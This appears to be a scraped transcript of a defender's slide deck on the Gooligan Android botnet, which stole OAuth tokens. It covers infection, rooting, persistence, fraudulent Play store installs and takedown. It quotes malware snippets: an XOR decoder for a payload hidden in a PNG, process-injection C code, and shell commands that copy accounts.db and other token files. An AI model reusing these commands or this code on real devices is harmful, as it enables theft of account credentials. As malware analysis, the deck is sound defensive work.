1st large scale oauth stealing botnet
play

& 1st large scale oauth stealing botnet & Secure - PowerPoint PPT Presentation

& 1st large scale oauth stealing botnet & Secure delegation mechanism De-facto authentication standard & & Exploit server Play store fake install/comments Ads injection Repacked (non-google) app Registration


  1. &

  2. 1st large scale oauth stealing botnet &

  3. Secure delegation mechanism De-facto authentication standard &

  4. &

  5. Exploit server Play store fake install/comments Ads injection Repacked (non-google) app Registration Fraudulent app & ads server promotion C&C &

  6. Infection Discovery Monetization schema Affected devices Remediation

  7. Payload Exploit Phone Persistence Play store decoding downloading rooting setup injection Classic ghost push Gooligan &

  8. Payload hidden in fake image /assets/close.png Use a hardcoded XOR function &

  9. Header (10 bytes) Val 1 Val 2 XOR Key (10 bytes) XOR Key Payload Stage 2 payload Footer (10 bytes) Val 2 Val 1 &

  10. XOR key of length 10 - hard-coded into the payload with open(argv[1], 'rb') as f: png = f.read() key = itertools.cycle(png[10:20]) decrypted = [chr(ord(k) ^ ord(d)) for k, d in itertools.izip(key, png[20:-10])] with open(argv[2], 'wb') as output: output.write(‘’.join(decrypted)) &

  11. Kingroot exploit pack Target Android 3.x and 4.x &

  12. Add utilities in system partition Backdoor recovery &

  13. 1. Inject shared object in Play store app 2. Listen to multiple events to wake-up 3. Used to load malicious DEX files &

  14. int main(int argc, char** argv) { pid_t target_pid; target_pid = find_pid_of("/system/bin/surfaceflinger"); if (-1 == target_pid) { Injected process pid: Play app printf("Can't find the process\n"); return -1; } //target_pid = find_pid_of("/data/test"); inject_remote_process(target_pid, "/data/libhello.so", "hook_entry", "I'm parameter!", strlen("I'm parameter!")); return 0; Library to inject: igpld.so } https://github.com/jekinleeph/LibInjectAll/blob/master/inject.c &

  15. the string oversea_adjust_read_redis was buried in patient zero sample &

  16. http://www.cnblogs.com/beautiful-code/p/5750382.html &

  17. &

  18. &

  19. &

  20. 52.220.249.y 139.162.2.x &

  21. &

  22. app boosting &

  23. Oauth token solely used to interact with the Play store Full boosting package &

  24. Server based fraudulent installs are ? mostly ineffective Attempt to masquerade as a real device &

  25. Gooligan C&C sync Play store download & review Accounts.db Oauth token Play store apk access exchange injection &

  26. cat /data/system/users/0/accounts.db > `pwd`/.agp.d cat /data/data/com.google.android.gms/shared_prefs/Checkin.xml > `pwd`/.agp.e cat /data/data/com.android.vending/shared_prefs/finsky.xml > `pwd`/.agp.f &

  27. Perform SQLite queries to find tokens Look for specific tokens &

  28. Gooligan C&C sync Play store download & review Accounts.db Oauth token Play store apk access exchange injection &

  29. Malware reports phone information Server provides fraud info &

  30. Exfiltrated data was used to mimic realistic phone in fraudulent requests ? Data used on non-rooted phones &

  31. Gooligan C&C sync Play store download & review Accounts.db Oauth token Play store apk access exchange injection &

  32. Get a refreshed oauth token Solely used for play &

  33. Gooligan C&C sync Play store download & review Accounts.db Oauth token Play store apk access exchange injection &

  34. Try to mimic a real install May leave a review &

  35. public static AndroidAppDeliveryData purchase(Detail detail, AndroidInfo info) { <snip> header.put("X-DFE-Device-Id", DeviceUtil.deviceId); header.put("Authorization", "GoogleLogin auth=" + info.token); header.put("X-Public-Android-Id", DeviceUtil.androidId); header.put("X-DFE-Signature-Request", DeviceUtil.getOnceSign()); </snip> NanoProtoHelper.getParsedResponseFromWrapper(ResponseWrapper.parseFrom(Utils.readBytes(n ew GZIPInputStream(Http.post("https://android.clients.google.com/fdfe/purchase", json.getBytes(), header, Http.FORM)))).payload, } & found in com.android.vending.HttpRequest

  36. Play anti-abuse defenses removed 100% of the fake installs & comments Abusive apps and developers were suspended &

  37. Ads injection &

  38. Ads injection Ads popup for “real” apps Attribution washing &

  39. 35M &

  40. manufacturers &

  41. Android version &

  42. geo-distribution 19% infections from India 80% from emerging countries &

  43. Command and Control takedown Token revocation &

  44. &

  45. Sinkholing analytics fixed &

  46. &

  47. Oauth botnet as emerging threat Stronger together Extremely fast takedown &

  48. &

  49. &

  50. &

Recommend


More recommend